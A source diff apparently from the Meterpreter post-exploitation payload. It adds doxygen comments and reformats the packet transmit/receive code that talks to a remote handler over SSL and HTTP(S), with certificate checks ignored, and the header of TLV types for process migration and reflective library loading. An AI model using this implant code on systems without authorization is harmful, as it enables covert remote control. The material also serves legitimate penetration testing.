|
||||
DWORD codeNbo = htonl(code);
|
||||
char buf[8192];
|
||||
@ -636,21 +789,40 @@ DWORD packet_add_exception(Packet *packet, DWORD code,
|
||||
entries[1].buffer = (PUCHAR)buf;
|
||||
|
||||
// Add the TLV group, or try to at least.
|
||||
return packet_add_tlv_group(packet, TLV_TYPE_EXCEPTION, entries, 2);
|
||||
return packet_add_tlv_group( packet, TLV_TYPE_EXCEPTION, entries, 2 );
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the result code from the packet
|
||||
/*!
|
||||
* @brief Get the result code from the packet
|
||||
* @param packet Pointer to the packet to get thget the result code from
|
||||
* @return The result code.
|
||||
*/
|
||||
DWORD packet_get_result(Packet *packet)
|
||||
DWORD packet_get_result( Packet *packet )
|
||||
{
|
||||
return packet_get_tlv_value_uint(packet, TLV_TYPE_RESULT);
|
||||
return packet_get_tlv_value_uint( packet, TLV_TYPE_RESULT );
|
||||
}
|
||||
|
||||
/*
|
||||
* Enumerate TLV entries in a buffer until hitting a given index (optionally for a given type as well).
|
||||
*/
|
||||
DWORD packet_find_tlv_buf( Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index, TlvType type, Tlv *tlv)
|
||||
/*!
|
||||
* @brief Enumerate TLV entries until hitting a given index or type.
|
||||
* @details This function will iterate through the given payload until one of the following conditions is true:
|
||||
* - The end of the payload is encountered
|
||||
* - The specified index is reached
|
||||
* - A TLV of the specified type is reached
|
||||
*
|
||||
* If the first condition is met, the function returns with a failure.
|
||||
* @param packet Pointer to the packet to get the TLV from.
|
||||
* @param payload Pointer to the payload to parse.
|
||||
* @param index Index of the TLV entry to find (optional).
|
||||
* @param type Type of TLV to get (optional).
|
||||
* @param tlv Pointer to the TLV that will receive the data.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_FOUND Unable to find the TLV.
|
||||
*/
|
||||
DWORD packet_find_tlv_buf( Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index, TlvType type, Tlv *tlv )
|
||||
{
|
||||
DWORD currentIndex = 0;
|
||||
DWORD offset = 0, length = 0;
|
||||
@ -759,14 +931,13 @@ DWORD packet_find_tlv_buf( Packet *packet, PUCHAR payload, DWORD payloadLength,
|
||||
return (found) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
|
||||
}
|
||||
|
||||
/***********************
|
||||
* Completion Routines *
|
||||
***********************/
|
||||
|
||||
/*
|
||||
* Add a completion routine for a given request identifier
|
||||
/*!
|
||||
* @brief Add a completion routine for a given request identifier.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the \c PacketCompletionRouteEntry instance.
|
||||
* @retval ERROR_SUCCESS Addition was successful.
|
||||
*/
|
||||
DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *completion)
|
||||
DWORD packet_add_completion_handler( LPCSTR requestId, PacketRequestCompletion *completion )
|
||||
{
|
||||
PacketCompletionRoutineEntry *entry;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
@ -774,17 +945,17 @@ DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *c
|
||||
do
|
||||
{
|
||||
// Allocate the entry
|
||||
if (!(entry = (PacketCompletionRoutineEntry *)malloc(sizeof(PacketCompletionRoutineEntry))))
|
||||
if (!(entry = (PacketCompletionRoutineEntry *)malloc( sizeof(PacketCompletionRoutineEntry) )))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// Copy the completion routine information
|
||||
memcpy(&entry->handler, completion, sizeof(PacketRequestCompletion));
|
||||
memcpy( &entry->handler, completion, sizeof(PacketRequestCompletion) );
|
||||
|
||||
// Copy the request identifier
|
||||
if (!(entry->requestId = _strdup(requestId)))
|
||||
if (!(entry->requestId = _strdup( requestId )))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
|
||||
@ -803,25 +974,31 @@ DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *c
|
||||
}
|
||||
|
||||
/*
|
||||
* Call the register completion handler(s) for the given request identifier.
|
||||
*/
|
||||
DWORD packet_call_completion_handlers(Remote *remote, Packet *response,LPCSTR requestId)
|
||||
/*!
|
||||
* @brief Call the register completion handler(s) for the given request identifier.
|
||||
* @details Only those handlers that match the given request are executed.
|
||||
* @param remote Pointer to the \c Remote instance for this call.
|
||||
* @param response Pointer to the response \c Packet.
|
||||
* @param requestId ID of the request to execute the completion handlers of.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_NOT_FOUND Unable to find any matching completion handlers for the request.
|
||||
* @retval ERROR_SUCCESS Execution was successful.
|
||||
*/
|
||||
DWORD packet_call_completion_handlers( Remote *remote, Packet *response, LPCSTR requestId )
|
||||
{
|
||||
PacketCompletionRoutineEntry *current;
|
||||
DWORD result = packet_get_result(response);
|
||||
DWORD result = packet_get_result( response );
|
||||
DWORD matches = 0;
|
||||
Tlv methodTlv;
|
||||
LPCSTR method = NULL;
|
||||
|
||||
// Get the method associated with this packet
|
||||
if (packet_get_tlv_string(response, TLV_TYPE_METHOD,
|
||||
&methodTlv) == ERROR_SUCCESS)
|
||||
if (packet_get_tlv_string(response, TLV_TYPE_METHOD, &methodTlv) == ERROR_SUCCESS)
|
||||
method = (LPCSTR)methodTlv.buffer;
|
||||
|
||||
// Enumerate the completion routine list
|
||||
for (current = packetCompletionRoutineList;
|
||||
current;
|
||||
current = current->next)
|
||||
for (current = packetCompletionRoutineList; current; current = current->next)
|
||||
{
|
||||
// Does the request id of the completion entry match the packet's request
|
||||
// id?
|
||||
@ -842,10 +1019,12 @@ DWORD packet_call_completion_handlers(Remote *remote, Packet *response,LPCSTR re
|
||||
return (matches > 0) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
|
||||
}
|
||||
|
||||
/*
|
||||
* Remove one or more completion handlers for the given request identifier
|
||||
/*!
|
||||
* @brief Remove a set of completion routine handlers for a given request identifier.
|
||||
* @param requestId ID of the request.
|
||||
* @return \c ERROR_SUCCESS is always returned.
|
||||
*/
|
||||
DWORD packet_remove_completion_handler(LPCSTR requestId)
|
||||
DWORD packet_remove_completion_handler( LPCSTR requestId )
|
||||
{
|
||||
PacketCompletionRoutineEntry *current, *next, *prev;
|
||||
|
||||
@ -873,10 +1052,16 @@ DWORD packet_remove_completion_handler(LPCSTR requestId)
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Transmit and destroy a packet
|
||||
/*!
|
||||
* @brief Transmit _and_ destroy a packet.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the \c Packet that is to be sent.
|
||||
* @param completion Pointer to the completion routines to process.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This function simply proxies to \c packet_transmit_via_ssl or \c packet_transmit_via_http
|
||||
* depending on what the remote transport type is.
|
||||
*/
|
||||
DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
|
||||
DWORD packet_transmit( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
|
||||
{
|
||||
if (remote->transport == METERPRETER_TRANSPORT_SSL) {
|
||||
return packet_transmit_via_ssl(remote, packet, completion);
|
||||
@ -887,10 +1072,15 @@ DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *c
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Transmit and destroy a packet over SSL
|
||||
/*!
|
||||
* @brief Transmit a packet via SSL _and_ destroy it.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the \c Packet that is to be sent.
|
||||
* @param completion Pointer to the completion routines to process.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This uses an SSL-encrypted TCP channel, and does not imply the use of HTTPS.
|
||||
*/
|
||||
DWORD packet_transmit_via_ssl(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
|
||||
DWORD packet_transmit_via_ssl( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
|
||||
{
|
||||
CryptoContext *crypto;
|
||||
Tlv requestId;
|
||||
@ -1006,10 +1196,14 @@ DWORD packet_transmit_via_ssl(Remote *remote, Packet *packet, PacketRequestCompl
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Transmit and destroy a packet over HTTP(S)
|
||||
/*!
|
||||
* @brief Transmit a packet via HTTP(s) _and_ destroy it.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the \c Packet that is to be sent.
|
||||
* @param completion Pointer to the completion routines to process.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
*/
|
||||
DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
|
||||
DWORD packet_transmit_via_http( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
|
||||
{
|
||||
CryptoContext *crypto;
|
||||
Tlv requestId;
|
||||
@ -1096,11 +1290,16 @@ DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestComp
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Transmit and destroy a packet over HTTP(S)
|
||||
*/
|
||||
#ifdef _WIN32
|
||||
DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketRequestCompletion *completion) {
|
||||
/*!
|
||||
* @brief Windows-specific function to transmit a packet via HTTP(s) _and_ destroy it.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the \c Packet that is to be sent.
|
||||
* @param completion Pointer to the completion routines to process.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This function is not available on POSIX.
|
||||
*/
|
||||
DWORD packet_transmit_via_http_wininet( Remote *remote, Packet *packet, PacketRequestCompletion *completion ) {
|
||||
DWORD res = 0;
|
||||
HINTERNET hReq;
|
||||
BOOL hRes;
|
||||
@ -1157,10 +1356,14 @@ DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketReq
|
||||
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Transmits a response with nothing other than a result code in it
|
||||
/*!
|
||||
* @brief Transmit a response with just a result code to the remote endpoint.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the \c Packet that is to be sent.
|
||||
* @param res Result code to return.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
*/
|
||||
DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res)
|
||||
DWORD packet_transmit_empty_response( Remote *remote, Packet *packet, DWORD res )
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
|
||||
@ -1174,10 +1377,13 @@ DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res)
|
||||
return packet_transmit(remote, response, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
* Receive a new packet
|
||||
/*!
|
||||
* @brief Receive a new packet on the given remote endpoint.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to a pointer that will receive the \c Packet data.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
*/
|
||||
DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
DWORD packet_receive( Remote *remote, Packet **packet )
|
||||
{
|
||||
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
|
||||
CryptoContext *crypto = NULL;
|
||||
@ -1191,11 +1397,9 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
#ifdef _UNIX
|
||||
int local_error = -1;
|
||||
#endif
|
||||
|
||||
|
||||
if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS)
|
||||
return packet_receive_via_http(remote, packet);
|
||||
|
||||
return packet_receive_via_http( remote, packet );
|
||||
|
||||
lock_acquire( remote->lock );
|
||||
|
||||
@ -1231,11 +1435,11 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
// Initialize the header
|
||||
header.length = header.length;
|
||||
header.type = header.type;
|
||||
payloadLength = ntohl(header.length) - sizeof(TlvHeader);
|
||||
payloadLength = ntohl( header.length ) - sizeof(TlvHeader);
|
||||
payloadBytesLeft = payloadLength;
|
||||
|
||||
// Allocate the payload
|
||||
if (!(payload = (PUCHAR)malloc(payloadLength)))
|
||||
if (!(payload = (PUCHAR)malloc( payloadLength )))
|
||||
{
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
break;
|
||||
@ -1244,7 +1448,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
// Read the payload
|
||||
while (payloadBytesLeft > 0)
|
||||
{
|
||||
if ((bytesRead = SSL_read(remote->ssl, payload + payloadLength - payloadBytesLeft, payloadBytesLeft)) <= 0)
|
||||
if ((bytesRead = SSL_read( remote->ssl, payload + payloadLength - payloadBytesLeft, payloadBytesLeft )) <= 0)
|
||||
{
|
||||
|
||||
if (GetLastError() == WSAEWOULDBLOCK)
|
||||
@ -1269,7 +1473,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
break;
|
||||
|
||||
// Allocate a packet structure
|
||||
if (!(localPacket = (Packet *)malloc(sizeof(Packet))))
|
||||
if (!(localPacket = (Packet *)malloc( sizeof(Packet) )))
|
||||
{
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
break;
|
||||
@ -1279,15 +1483,15 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
|
||||
// If the connection has an established cipher and this packet is not
|
||||
// plaintext, decrypt
|
||||
if ((crypto = remote_get_cipher(remote)) &&
|
||||
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
|
||||
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
if ((crypto = remote_get_cipher( remote )) &&
|
||||
(packet_get_type( localPacket ) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
|
||||
(packet_get_type( localPacket ) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
{
|
||||
ULONG origPayloadLength = payloadLength;
|
||||
PUCHAR origPayload = payload;
|
||||
|
||||
// Decrypt
|
||||
if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength,&payload, &payloadLength)) != ERROR_SUCCESS)
|
||||
if ((res = crypto->handlers.decrypt( crypto, payload, payloadLength,&payload, &payloadLength )) != ERROR_SUCCESS)
|
||||
{
|
||||
SetLastError(res);
|
||||
break;
|
||||
@ -1311,12 +1515,12 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
res = GetLastError();
|
||||
|
||||
// Cleanup on failure
|
||||
if (res != ERROR_SUCCESS)
|
||||
if ( res != ERROR_SUCCESS )
|
||||
{
|
||||
if (payload)
|
||||
free(payload);
|
||||
free( payload );
|
||||
if (localPacket)
|
||||
free(localPacket);
|
||||
free( localPacket );
|
||||
}
|
||||
|
||||
lock_release( remote->lock );
|
||||
@ -1326,10 +1530,14 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
|
||||
|
||||
#ifdef _WIN32
|
||||
/*
|
||||
* Receive a new packet over HTTP using WinInet
|
||||
/*!
|
||||
* @brief Windows-specific function to receive a new packet via WinInet.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to a pointer that will receive the \c Packet data.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This function is not available in POSIX.
|
||||
*/
|
||||
DWORD packet_receive_http_via_wininet(Remote *remote, Packet **packet) {
|
||||
DWORD packet_receive_http_via_wininet( Remote *remote, Packet **packet ) {
|
||||
|
||||
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
|
||||
CryptoContext *crypto = NULL;
|
||||
@ -1355,7 +1563,7 @@ DWORD packet_receive_http_via_wininet(Remote *remote, Packet **packet) {
|
||||
flags |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
|
||||
}
|
||||
dprintf("[PACKET RECEIVE] HttpOpenRequest");
|
||||
hReq = HttpOpenRequest(remote->hConnection, "POST", remote->uri, NULL, NULL, NULL, flags, 0);
|
||||
hReq = HttpOpenRequest( remote->hConnection, "POST", remote->uri, NULL, NULL, NULL, flags, 0 );
|
||||
|
||||
if (hReq == NULL) {
|
||||
dprintf("[PACKET RECEIVE] Failed HttpOpenRequest: %d", GetLastError());
|
||||
@ -1511,11 +1719,15 @@ DWORD packet_receive_http_via_wininet(Remote *remote, Packet **packet) {
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Receive a new packet over HTTP
|
||||
/*!
|
||||
* @brief Windows-specific function to receive a new packet via WinInet.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to a pointer that will receive the \c Packet data.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This function is just a proxy which calls \c packet_receive_http_via_wininet
|
||||
* and doesn't yet have a POSIX implementation.
|
||||
*/
|
||||
|
||||
DWORD packet_receive_via_http(Remote *remote, Packet **packet)
|
||||
DWORD packet_receive_via_http( Remote *remote, Packet **packet )
|
||||
{
|
||||
#ifdef _WIN32
|
||||
return packet_receive_http_via_wininet(remote, packet);
|
||||
|
@ -1,3 +1,10 @@
|
||||
/*!
|
||||
* @file core.h
|
||||
* @brief Declarations of core components of the Meterpreter suite.
|
||||
* @details Much of what exists in the core files is used in almost every area
|
||||
* of the Meterpreter code base, and hence it's very important. Don't
|
||||
* change this stuff unless you know what you're doing!
|
||||
*/
|
||||
#ifndef _METERPRETER_CORE_H
|
||||
#define _METERPRETER_CORE_H
|
||||
|
||||
@ -5,97 +12,142 @@
|
||||
#include "remote.h"
|
||||
#include "list.h"
|
||||
|
||||
/*
|
||||
* Enumerations for TLVs and packets
|
||||
/*!
|
||||
* @brief Creates a new TLV value based on `actual` and `meta` values.
|
||||
*/
|
||||
#define TLV_VALUE(meta, actual) actual | meta
|
||||
/*!
|
||||
* @brief Creates a new custom TVL type.
|
||||
*/
|
||||
#define MAKE_TLV(name, meta, actual) TLV_TYPE_ ## name = actual | meta
|
||||
#define MAKE_CUSTOM_TLV(meta, base, actual) (TlvType)((base + actual) | meta)
|
||||
|
||||
/*!
|
||||
* @brief Enumeration of allowed Packet TLV types.
|
||||
*/
|
||||
typedef enum
|
||||
{
|
||||
PACKET_TLV_TYPE_REQUEST = 0,
|
||||
PACKET_TLV_TYPE_RESPONSE = 1,
|
||||
PACKET_TLV_TYPE_PLAIN_REQUEST = 10,
|
||||
PACKET_TLV_TYPE_PLAIN_RESPONSE = 11,
|
||||
PACKET_TLV_TYPE_REQUEST = 0, ///< Indicates a request packet.
|
||||
PACKET_TLV_TYPE_RESPONSE = 1, ///< Indicates a response packet.
|
||||
PACKET_TLV_TYPE_PLAIN_REQUEST = 10, ///< Indicates a plain request packet.
|
||||
PACKET_TLV_TYPE_PLAIN_RESPONSE = 11, ///< Indicates a plain response packet.
|
||||
} PacketTlvType;
|
||||
|
||||
// Meta argument types, used for validation
|
||||
/*! @brief Meta TLV argument type representing a null value. */
|
||||
#define TLV_META_TYPE_NONE (0 << 0)
|
||||
/*! @brief Meta TLV argument type representing a string value. */
|
||||
#define TLV_META_TYPE_STRING (1 << 16)
|
||||
/*! @brief Meta TLV argument type representing a unsigned integer value. */
|
||||
#define TLV_META_TYPE_UINT (1 << 17)
|
||||
/*! @brief Meta TLV argument type representing a raw data value. */
|
||||
#define TLV_META_TYPE_RAW (1 << 18)
|
||||
/*! @brief Meta TLV argument type representing a boolean value. */
|
||||
#define TLV_META_TYPE_BOOL (1 << 19)
|
||||
/*! @brief Meta TLV argument type representing a quad-word value. */
|
||||
#define TLV_META_TYPE_QWORD (1 << 20)
|
||||
/*! @brief Meta TLV argument type representing a compressed data value. */
|
||||
#define TLV_META_TYPE_COMPRESSED (1 << 29)
|
||||
/*! @brief Meta TLV argument type representing a group value. */
|
||||
#define TLV_META_TYPE_GROUP (1 << 30)
|
||||
/*! @brief Meta TLV argument type representing a nested/complex value. */
|
||||
#define TLV_META_TYPE_COMPLEX (1 << 31)
|
||||
/*! @brief Meta TLV argument type representing a flag set/mask value. */
|
||||
#define TLV_META_TYPE_MASK(x) ((x) & 0xffff0000)
|
||||
|
||||
/*! @brief Base value for reserved TLV definitions. */
|
||||
#define TLV_RESERVED 0
|
||||
/*! @brief Base value for TLV definitions that are part of extensions. */
|
||||
#define TLV_EXTENSIONS 20000
|
||||
/*! @brief Base value for user TLV definitions. */
|
||||
#define TLV_USER 40000
|
||||
/*! @brief Base value for temporary TLV definitions. */
|
||||
#define TLV_TEMP 60000
|
||||
|
||||
/*!
|
||||
* @brief Indicates that the library in question should be stored on disk.
|
||||
* @detail Some libraries can be written to disk and other libraries can't. The use of
|
||||
* this flag will indicate that the library should not be written to disk and
|
||||
* instead should be loaded reflectively.
|
||||
*/
|
||||
#define LOAD_LIBRARY_FLAG_ON_DISK (1 << 0)
|
||||
|
||||
/*!
|
||||
* @brief Indicates that the library in question is an extension library.
|
||||
* @detail Extension libraries have \c InitServerExtension and \c DeinitServerExtension
|
||||
* functions which need to be invoked. This flag indicates that the library has
|
||||
* these functions and that they should be called appropriately.
|
||||
*/
|
||||
#define LOAD_LIBRARY_FLAG_EXTENSION (1 << 1)
|
||||
|
||||
/*!
|
||||
* @brief Indicates that the library in question is a library that exists locally.
|
||||
* @detail Libraries can already exist on the target machine. This flag indicates that
|
||||
* the library doesn't need to be uploaded, it just needs to be invoked directly
|
||||
* on the local machine.
|
||||
*/
|
||||
#define LOAD_LIBRARY_FLAG_LOCAL (1 << 2)
|
||||
|
||||
/*! @brief An indication of whether the challen is synchronous or asynchronous. */
|
||||
#define CHANNEL_FLAG_SYNCHRONOUS (1 << 0)
|
||||
/*! @brief An indication of whether the content written to the channel should be compressed. */
|
||||
#define CHANNEL_FLAG_COMPRESS (1 << 1)
|
||||
|
||||
/*! @brief Type definition with defines `TlvMetaType` as an double-word. */
|
||||
typedef DWORD TlvMetaType;
|
||||
|
||||
/*!
|
||||
* @brief Full list of recognised TLV types.
|
||||
*/
|
||||
typedef enum
|
||||
{
|
||||
MAKE_TLV(ANY, TLV_META_TYPE_NONE, 0),
|
||||
MAKE_TLV(METHOD, TLV_META_TYPE_STRING, 1),
|
||||
MAKE_TLV(REQUEST_ID, TLV_META_TYPE_STRING, 2),
|
||||
MAKE_TLV(EXCEPTION, TLV_META_TYPE_GROUP, 3),
|
||||
MAKE_TLV(RESULT, TLV_META_TYPE_UINT, 4),
|
||||
TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///< Represents an undefined/arbitrary value.
|
||||
TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///< Represents a method/function name value.
|
||||
TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///< Represents a request identifier value.
|
||||
TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///< Represents an exception value.
|
||||
TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///< Represents a result value.
|
||||
|
||||
// Argument basic types
|
||||
MAKE_TLV(STRING, TLV_META_TYPE_STRING, 10),
|
||||
MAKE_TLV(UINT, TLV_META_TYPE_UINT, 11),
|
||||
MAKE_TLV(BOOL, TLV_META_TYPE_BOOL, 12),
|
||||
TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///< Represents a string value.
|
||||
TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///< Represents an unsigned integer value.
|
||||
TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///< Represents a boolean value.
|
||||
|
||||
// Extended types
|
||||
MAKE_TLV(LENGTH, TLV_META_TYPE_UINT, 25),
|
||||
MAKE_TLV(DATA, TLV_META_TYPE_RAW, 26),
|
||||
MAKE_TLV(FLAGS, TLV_META_TYPE_UINT, 27),
|
||||
TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///< Represents a length (unsigned integer).
|
||||
TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///< Represents arbitrary data (raw).
|
||||
TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///< Represents a set of flags (unsigned integer).
|
||||
|
||||
// Channel types
|
||||
MAKE_TLV(CHANNEL_ID, TLV_META_TYPE_UINT, 50),
|
||||
MAKE_TLV(CHANNEL_TYPE, TLV_META_TYPE_STRING, 51),
|
||||
MAKE_TLV(CHANNEL_DATA, TLV_META_TYPE_RAW, 52),
|
||||
MAKE_TLV(CHANNEL_DATA_GROUP, TLV_META_TYPE_GROUP, 53),
|
||||
MAKE_TLV(CHANNEL_CLASS, TLV_META_TYPE_UINT, 54),
|
||||
MAKE_TLV(CHANNEL_PARENTID, TLV_META_TYPE_UINT, 55),
|
||||
TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///< Represents a channel identifier (unsigned integer).
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///< Represents a channel type (string).
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///< Represents channel data (raw).
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///< Represents a channel data group (group).
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///< Represents a channel class (unsigned integer).
|
||||
TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///< Represents a channel parent identifier (unsigned integer).
|
||||
|
||||
// Channel extended types
|
||||
MAKE_TLV(SEEK_WHENCE, TLV_META_TYPE_UINT, 70),
|
||||
MAKE_TLV(SEEK_OFFSET, TLV_META_TYPE_UINT, 71),
|
||||
MAKE_TLV(SEEK_POS, TLV_META_TYPE_UINT, 72),
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_VALUE(TLV_META_TYPE_UINT, 70),
|
||||
TLV_TYPE_SEEK_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 71),
|
||||
TLV_TYPE_SEEK_POS = TLV_VALUE(TLV_META_TYPE_UINT, 72),
|
||||
|
||||
// Grouped identifiers
|
||||
MAKE_TLV(EXCEPTION_CODE, TLV_META_TYPE_UINT, 300),
|
||||
MAKE_TLV(EXCEPTION_STRING, TLV_META_TYPE_STRING, 301),
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///< Represents an exception code value (unsigned in).
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///< Represents an exception message value (string).
|
||||
|
||||
// Library loading
|
||||
MAKE_TLV(LIBRARY_PATH, TLV_META_TYPE_STRING, 400),
|
||||
MAKE_TLV(TARGET_PATH, TLV_META_TYPE_STRING, 401),
|
||||
MAKE_TLV(MIGRATE_PID, TLV_META_TYPE_UINT, 402),
|
||||
MAKE_TLV(MIGRATE_LEN, TLV_META_TYPE_UINT, 403),
|
||||
MAKE_TLV(MIGRATE_PAYLOAD, TLV_META_TYPE_STRING, 404),
|
||||
MAKE_TLV(MIGRATE_ARCH, TLV_META_TYPE_UINT, 405),
|
||||
MAKE_TLV(MIGRATE_TECHNIQUE, TLV_META_TYPE_UINT, 406),
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///< Represents a path to the library to be loaded (string).
|
||||
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///< Represents a target path (string).
|
||||
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///< Represents a process identifier of the migration target (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///< Represents a migration payload size/length in bytes (unsigned integer).
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///< Represents a migration payload (string).
|
||||
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///< Represents a migration target architecture.
|
||||
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///< Represents a migration technique (unsigned int).
|
||||
|
||||
// Cryptography
|
||||
MAKE_TLV(CIPHER_NAME, TLV_META_TYPE_STRING, 500),
|
||||
MAKE_TLV(CIPHER_PARAMETERS, TLV_META_TYPE_GROUP, 501),
|
||||
TLV_TYPE_CIPHER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 500), ///< Represents the name of a cipher.
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_VALUE(TLV_META_TYPE_GROUP, 501), ///< Represents parameters for a cipher.
|
||||
|
||||
MAKE_TLV(EXTENSIONS, TLV_META_TYPE_COMPLEX, 20000),
|
||||
MAKE_TLV(USER, TLV_META_TYPE_COMPLEX, 40000),
|
||||
MAKE_TLV(TEMP, TLV_META_TYPE_COMPLEX, 60000),
|
||||
TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///< Represents an extension value.
|
||||
TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///< Represents a user value.
|
||||
TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///< Represents a temporary value.
|
||||
} TlvType;
|
